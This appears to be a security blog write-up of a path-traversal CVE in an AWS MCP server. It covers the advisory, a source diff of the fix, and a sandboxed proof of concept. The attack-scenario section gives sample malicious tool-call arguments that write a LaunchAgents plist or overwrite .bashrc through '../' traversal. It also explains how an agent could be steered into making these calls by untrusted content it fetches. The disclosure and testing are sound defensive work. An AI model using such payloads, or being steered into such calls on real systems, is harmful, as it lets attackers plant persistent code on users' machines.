Skip to main content

CVE-2026-18953 — AWS Transform MCP Arbitrary File Write

🤖 AI Collaboration

This post was co-written with AI assistance. All technical testing, troubleshooting, and real-world insights are from the author's direct experience. AI helped with structure, clarity, and documentation formatting.

Overview

CVE-2026-18953 is a CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) path-traversal vulnerability in awslabs.aws-transform-mcp-server, the MCP server AWS ships for AWS Transform. The get_resource tool's savePath parameter — used when downloading an artifact or asset — is handed to a path validator that checks a small directory/filename denylist but never confines the resolved path to any base directory. Versions 0.1.0 through 0.1.4 are affected; 0.1.5 fixes it.

This write-up covers pulling the CVE record, diffing the vulnerable and patched source from PyPI and GitHub to pin the root cause, and a proof of concept that runs the real vulnerable code against the real patched code side by side.

FieldValue
CVECVE-2026-18953
CWECWE-22 (Path Traversal)
Packageawslabs.aws-transform-mcp-server
Affected0.1.0 – 0.1.4
Fixed0.1.5
CVSS 3.18.6 HIGH (AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
VectorsavePath / fileName on get_resource
AdvisoryGHSA-66mr-jr63-2jgw, AWS Bulletin 2026-075

Repo: CVE-2026-18953


CVE Record and Advisories

Start from the public record. CVE-2026-18953 on cve.org is a JS app that hydrates from MITRE's CVE Services API, so the useful move is to query that API directly:

curl -s "https://cveawg.mitre.org/api/cve/CVE-2026-18953" -o cve.json
python3 -c "
import json
d = json.load(open('cve.json'))
cna = d['containers']['cna']
print('CVE ID :', d['cveMetadata']['cveId'])
print('State :', d['cveMetadata']['state'])
print('Published :', d['cveMetadata']['datePublished'])
print('Title :', cna.get('title'))
print()
print('Description :')
print(cna['descriptions'][0]['value'])
print()
aff = cna['affected'][0]
print('Vendor :', aff['vendor'])
print('Product :', aff['product'])
for v in aff['versions']:
print(' version block:', v)
print()
for m in cna.get('metrics', []):
for k, val in m.items():
if isinstance(val, dict) and 'vectorString' in val:
print(k, val['vectorString'], val.get('baseScore'), val.get('baseSeverity'))
print()
for p in cna.get('problemTypes', []):
for d2 in p['descriptions']:
print('CWE:', d2.get('cweId'), d2.get('description'))
print()
for r in cna.get('references', []):
print('ref:', r['url'])
"
Output
CVE ID : CVE-2026-18953
State : PUBLISHED
Published : 2026-08-05T19:33:10.800Z
Title : Improper limitation of a pathname to a restricted directory in aws-transform-mcp-server

Description :
Improper limitation of a pathname to a restricted directory in the get_resource tool in Amazon awslabs.aws-transform-mcp-server 0.1.0 through 0.1.4 might allow a context-dependent actor to write arbitrary files outside the intended working directory via the savePath parameter.

To remediate this issue, users should upgrade to version 0.1.5 or later.

Vendor : AWS
Product : aws-transform-mcp-server
version block: {'status': 'affected', 'version': '0.1.0', 'lessThanOrEqual': '0.1.4', 'versionType': 'custom'}

cvssV3_1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 8.6 HIGH
cvssV4_0 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H 6.3 MEDIUM

CWE: CWE-22 CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

ref: https://pypi.org/project/awslabs.aws-transform-mcp-server/0.1.5/
ref: https://aws.amazon.com/security/security-bulletins/2026-075-aws/
ref: https://github.com/awslabs/mcp/security/advisories/GHSA-66mr-jr63-2jgw

That gives everything needed to go find the actual code: the affected product, the exact version boundary (0.1.0–0.1.4, fixed at 0.1.5), and the vulnerable parameter (savePath on get_resource).

The GitHub advisory (GHSA-66mr-jr63-2jgw) adds the impact statement and disclosure credit, but no code:

Improper limitation of a pathname to a restricted directory in the get_resource tool ... might allow a context-dependent actor to write arbitrary files outside the intended working directory via the savePath parameter, which could lead to local code execution.

Discovered by Drew Raines (coordinated disclosure). No workarounds — fixed in 0.1.5.


Root Cause: Path Traversal in validate_write_path

awslabs.aws-transform-mcp-server is open source (awslabs/mcp on GitHub, published to PyPI). Rather than trust the advisory's prose, pull both the vulnerable release and the patched source and diff them directly.

Vulnerable release (0.1.4), straight from PyPI's JSON API:

curl -s "https://pypi.org/pypi/awslabs.aws-transform-mcp-server/json" -o pkg.json
python3 -c "
import json
d = json.load(open('pkg.json'))
for f in d['releases']['0.1.4']:
print(f['packagetype'], f['url'])
"
Output
bdist_wheel https://files.pythonhosted.org/packages/32/6e/177ee815a7fe156360ddd62bc5c2886d15ec2499c5d46764a398b4eb2d52/awslabs_aws_transform_mcp_server-0.1.4-py3-none-any.whl
sdist https://files.pythonhosted.org/packages/70/70/7e4b7bc170ba177f75099680791ce58973cc3a402e2ab108b91e5b39d052/awslabs_aws_transform_mcp_server-0.1.4.tar.gz
curl -sL "https://files.pythonhosted.org/packages/70/70/7e4b7bc170ba177f75099680791ce58973cc3a402e2ab108b91e5b39d052/awslabs_aws_transform_mcp_server-0.1.4.tar.gz" -o v014.tar.gz
tar -xzf v014.tar.gz

Patched source (main branch, post-0.1.5), straight from GitHub:

curl -s "https://codeload.github.com/awslabs/mcp/tar.gz/refs/heads/main" -o mcp-main.tar.gz
tar -xzf mcp-main.tar.gz mcp-main/src/aws-transform-mcp-server/awslabs/aws_transform_mcp_server/file_validation.py

Both versions ship a file_validation.py whose module docstring is literally "Path validation to prevent credential exfiltration via file uploads." — so the file already existed, it just had a hole. Diffing it is the whole vulnerability:

diff -u \
awslabs_aws_transform_mcp_server-0.1.4/awslabs/aws_transform_mcp_server/file_validation.py \
mcp-main/src/aws-transform-mcp-server/awslabs/aws_transform_mcp_server/file_validation.py
Output — 0.1.4 (vulnerable) vs main (fixed)
--- awslabs_aws_transform_mcp_server-0.1.4/awslabs/aws_transform_mcp_server/file_validation.py
+++ mcp-main/src/aws-transform-mcp-server/awslabs/aws_transform_mcp_server/file_validation.py
@@ -19,7 +19,7 @@
from typing import Optional


-# File basenames that must never be read.
+# File basenames that must never be read or written.
BLOCKED_FILENAMES: frozenset[str] = frozenset(
{
'.env',
@@ -59,7 +59,28 @@
'/etc/passwd',
)

+# Environment variable an operator may set to pin the write base explicitly.
+WRITE_BASE_ENV_VAR = 'AWS_TRANSFORM_MCP_WRITE_DIR'

+
+def _resolve_write_base() -> str:
+ """Resolve the allowed base directory for write operations.
+
+ All writes must resolve under this base, which prevents an LLM-controlled
+ savePath from writing to arbitrary filesystem locations. The base is taken
+ from AWS_TRANSFORM_MCP_WRITE_DIR if set, otherwise the current working
+ directory at import time.
+ """
+ configured = os.environ.get(WRITE_BASE_ENV_VAR)
+ if configured:
+ return os.path.realpath(os.path.expanduser(configured))
+ return os.path.realpath(os.getcwd())
+
+
+# Allowed base directory for write operations.
+_ALLOWED_WRITE_BASE: str = _resolve_write_base()
+
+
def _is_blocked_name(path: str) -> bool:
return os.path.basename(path).lower() in BLOCKED_FILENAMES

@@ -95,13 +116,34 @@

Prevents path traversal by stripping directory components from *file_name*
via os.path.basename(), ensuring the write stays within *save_path*.
- Also blocks writes into sensitive directories.
+ Confines all writes to the allowed base directory (CWD at startup).
+ Blocks writes into sensitive directories and to sensitive filenames.

Returns the resolved absolute write path.
Raises ValueError on any policy violation.
"""
+ # Refuse to write when the base is the filesystem root. Confining to '/'
+ # would place no bound on writes, so require an explicit base instead.
+ if _ALLOWED_WRITE_BASE == os.sep:
+ logger.warning('[security] Blocked write: allowed base is the filesystem root')
+ raise ValueError(
+ f'Cannot determine a safe save location: the server was started with the '
+ f'filesystem root as its working directory. Set the {WRITE_BASE_ENV_VAR} '
+ f'environment variable to the directory downloads should be written to.'
+ )
+
resolved_dir = os.path.realpath(os.path.expanduser(save_path))

+ # Confine writes to the allowed base directory.
+ if resolved_dir != _ALLOWED_WRITE_BASE and not resolved_dir.startswith(
+ _ALLOWED_WRITE_BASE + os.sep
+ ):
+ logger.warning('[security] Blocked write outside allowed base: {}', save_path)
+ raise ValueError(
+ f'Write path must be within the working directory '
+ f'({_ALLOWED_WRITE_BASE}), got: {save_path}'
+ )
+
if _in_blocked_dir(resolved_dir):
logger.warning('[security] Blocked write to sensitive directory: {}', save_path)
raise ValueError(f'Writing to sensitive directory is not allowed: {save_path}')
@@ -113,6 +155,13 @@
else:
safe_name = None

- if safe_name:
- return os.path.join(resolved_dir, safe_name)
- return resolved_dir
+ final_path = os.path.join(resolved_dir, safe_name) if safe_name else resolved_dir
+
+ # Enforce blocked filename list on writes (not just reads).
+ if _is_blocked_name(final_path):
+ logger.warning(
+ '[security] Blocked write of sensitive filename: {}', os.path.basename(final_path)
+ )
+ raise ValueError(f'Blocked filename: {os.path.basename(final_path)} cannot be written.')
+
+ return final_path

Reading the diff

validate_write_path(save_path, file_name) in 0.1.4 does exactly three things:

  1. resolved_dir = os.path.realpath(os.path.expanduser(save_path)) — resolve whatever the caller sent, no matter what it is.
  2. Reject a hardcoded denylist of directories: ~/.aws, ~/.ssh, ~/.gnupg, ~/.docker, ~/.aws-transform-mcp, /etc/shadow, /etc/passwd.
  3. safe_name = os.path.basename(file_name) — strip directory components from the filename only.

Nowhere does it check that resolved_dir sits inside any base or working directory. save_path can be /etc/, ~/Library/LaunchAgents, a ../../../../ traversal, or the caller's home directory outright — as long as it doesn't literally match the six-entry denylist, it's accepted. And BLOCKED_FILENAMES (.bashrc, .zshrc, authorized_keys, id_rsa, …) is only ever checked in validate_read_path() — the write path in 0.1.4 never calls _is_blocked_name() at all. So a write can also target a sensitive filename, as long as the directory isn't one of the six denylisted ones.

The fix in 0.1.5 adds exactly what's missing:

  • _ALLOWED_WRITE_BASE, resolved once at import time from $AWS_TRANSFORM_MCP_WRITE_DIR or the server's CWD.
  • A hard containment check: resolved_dir must equal _ALLOWED_WRITE_BASE or start with _ALLOWED_WRITE_BASE + os.sep.
  • A refusal path if the base itself resolves to / (no bound would mean no protection).
  • _is_blocked_name() now also runs against the final resolved write path, not just reads.

Everything upstream of validate_write_path()get_resource's resource="artifact" / resource="asset" branches, and tool_utils.download_s3_content(), which fetches a pre-signed S3 URL and writes the bytes — is unchanged between versions. The entire vulnerability and the entire fix live in this one function.

tools/get_resource.py — artifact branch (identical in both versions)
dl_result = await download_s3_content(
s3_url,
save_path=savePath,
file_name=fileName,
default_name=artifactId,
)
tool_utils.py — download_s3_content (identical control flow in both versions)
async def download_s3_content(s3_url, save_path=None, file_name=None, default_name=None):
from awslabs.aws_transform_mcp_server.file_validation import validate_write_path
async with httpx.AsyncClient() as client:
response = await client.get(s3_url, follow_redirects=True)
response.raise_for_status()
if save_path is not None:
resolved_name = file_name or default_name or 'download'
if save_path.endswith('/') or '.' not in os.path.basename(save_path):
full_path = validate_write_path(save_path, resolved_name)
else:
full_path = validate_write_path(os.path.dirname(save_path), os.path.basename(save_path))
with open(full_path, 'wb') as fh:
fh.write(response.content)
return {'savedTo': full_path, 'sizeBytes': len(response.content)}
return {'content': response.text}

savePath and fileName are both plain tool-call arguments an MCP client sends. The advisory's "context-dependent actor" is exactly this: whatever is driving the MCP client — a user, or an agent that has been steered via untrusted job/task/message content it fetched through this same server — controls both strings.


Attack Scenario: Arbitrary File Write via savePath

A realistic malicious get_resource call looks like this:

{
"name": "get_resource",
"arguments": {
"resource": "artifact",
"workspaceId": "ws-...",
"jobId": "job-...",
"artifactId": "art-...",
"savePath": "/Users/victim/Library/LaunchAgents",
"fileName": "com.evil.persist.plist"
}
}

or, without needing an absolute path at all, from wherever the server's CWD happens to be:

{ "savePath": "../../../../../../Users/victim/.bashrc", "fileName": "x" }

get_resource is documented to hand task responses to the agent to "act on," and messages content originates from job/chat data the agent retrieves through the same tool set. Steering an already-connected agent into issuing one of these calls doesn't require compromising the human operator — it requires controlling content the agent later reads and treats as instructions. No AWS credentials are needed to trigger the bug itself: it's pure local path handling, evaluated before/after the actual S3 fetch.


Proof of Concept

Rather than stand up a real AWS Transform workspace, the PoC isolates exactly where the vulnerability lives: validate_write_path() and download_s3_content(). It vendors the real, unmodified upstream file_validation.py from both releases, stands up a throwaway local HTTP server in place of the pre-signed S3 URL, and drives both versions through identical malicious savePath/fileName pairs.

CVE-2026-18953/
├── README.md
├── poc.py # driver, zero third-party deps
└── vendor/
├── _loguru_shim.py # stand-in for the loguru dependency
├── 0.1.4-vulnerable/file_validation.py # real vulnerable source, from the PyPI sdist
└── 0.1.5-fixed/file_validation.py # real patched source, from awslabs/mcp@main

Three scenarios are fired against each version:

#savePathfileNameWhat it tests
1absolute path outside the sandbox dirdropped_by_absolute_path.shNo traversal needed at all — plain absolute path escape
2../../../../../../<abs path outside sandbox>dropped_by_traversal.shClassic relative traversal
3a decoy $HOME-style dir.bashrcBLOCKED_FILENAMES is never enforced on writes in 0.1.4

Running it:

python3 poc.py
Output
PoC scratch root : /var/folders/rc/.../T/cve-2026-18953-poc-y_rf0su8
"Intended" sandbox dir (server CWD) : .../cve-2026-18953-poc-y_rf0su8/server_working_dir
Attacker-chosen destination (must be
UNREACHABLE if the server is behaving) : .../cve-2026-18953-poc-y_rf0su8/outside_sandbox

=== Target: file_validation.py from 0.1.4-vulnerable (_ALLOWED_WRITE_BASE=N/A (no such concept)) ===

-> Absolute path escape (no traversal needed at all)
get_resource(resource="artifact", savePath='.../outside_sandbox', fileName='dropped_by_absolute_path.sh')
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_absolute_path.sh

-> Relative "../../.." traversal out of the sandbox dir
get_resource(resource="artifact", savePath='../../../../../../.../outside_sandbox', fileName='dropped_by_traversal.sh')
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_traversal.sh

-> Sensitive dotfile name, written inside a decoy $HOME (no BLOCKED_FILENAMES enforcement on writes in 0.1.4)
get_resource(resource="artifact", savePath='.../outside_sandbox/decoy_home', fileName='.bashrc')
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/decoy_home/.bashrc

=== Target: file_validation.py from 0.1.5-fixed (_ALLOWED_WRITE_BASE=.../cve-2026-18953-poc-y_rf0su8/server_working_dir) ===

-> Absolute path escape (no traversal needed at all)
[validate_write_path warning] [security] Blocked write outside allowed base: .../outside_sandbox
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (.../server_working_dir), got: .../outside_sandbox

-> Relative "../../.." traversal out of the sandbox dir
[validate_write_path warning] [security] Blocked write outside allowed base: ../../../../../../.../outside_sandbox
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (.../server_working_dir), got: ../../../../../../.../outside_sandbox

-> Sensitive dotfile name, written inside a decoy $HOME (no BLOCKED_FILENAMES enforcement on writes in 0.1.4)
[validate_write_path warning] [security] Blocked write outside allowed base: .../outside_sandbox/decoy_home
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (.../server_working_dir), got: .../outside_sandbox/decoy_home

--------------------------------------------------------------
Summary: on 0.1.4, all three writes land OUTSIDE the sandbox dir
the operator started the server in. On 0.1.5+, every one of them
is rejected with a ValueError before any bytes touch disk.

(Paths truncated here for readability — the actual run prints full /var/folders/.../T/cve-2026-18953-poc-<random>/... paths, and leaves the scratch directory in place for inspection.)

Confirming the bytes actually landed, not just that the function returned a path:

find "$TMP" -type f -exec echo {} \; -exec cat {} \;
Output
.../outside_sandbox/dropped_by_absolute_path.sh
echo "pwned by CVE-2026-18953 PoC" # not a real payload
.../outside_sandbox/dropped_by_traversal.sh
echo "pwned by CVE-2026-18953 PoC" # not a real payload
.../outside_sandbox/decoy_home/.bashrc
echo "pwned by CVE-2026-18953 PoC" # not a real payload

All three files exist outside the sandbox directory the "server" was supposedly confined to, containing bytes served by the fake pre-signed URL. Against 0.1.5, the same three calls never touch disk — validate_write_path raises before open() is reached.

Why no real AWS account is needed

The vulnerability is entirely in local path handling, evaluated around the S3 fetch, not inside it. download_s3_content() downloads first, then resolves and validates the write path, then opens the file. Swapping the real pre-signed URL for a local HTTP server serving arbitrary bytes exercises the exact same code path an attacker would trigger — the only thing missing is a live AWS Transform workspace to get a savePath-controlled tool call in front of a real agent, which isn't needed to prove the local file-write primitive exists.


Remediation

Upgrade to awslabs.aws-transform-mcp-server >= 0.1.5. There is no server-side workaround for older versions. Operators who can't upgrade immediately should run the server with its working directory set to a dedicated, empty, disposable location and treat anything it can write to as compromised in the interim.

Patched package: awslabs.aws-transform-mcp-server 0.1.5 on PyPI.


Timeline

DateEvent
Discovered by Drew Raines, reported via coordinated disclosure
2026-08-05CVE-2026-18953 published; AWS Security Bulletin 2026-075 issued; 0.1.5 released

Source Code and PoC Repository

Full PoC, vendored source for both versions, and this analysis: github.com/ronamosa/CVE-2026-18953.

CVE-2026-18953/
├── README.md
├── poc.py
└── vendor/
├── _loguru_shim.py
├── 0.1.4-vulnerable/file_validation.py
└── 0.1.5-fixed/file_validation.py

References

Enjoying the docs? Good.

The docs are the how. The newsletter is the what... as in, what the f*** — AI, power, Big Tech and the tech industry, through a Pasifika lens, from an engineer who's spent twenty-plus years working inside the machine. Fortnightly. No filter.

Leave whenever.

Get the newsletter →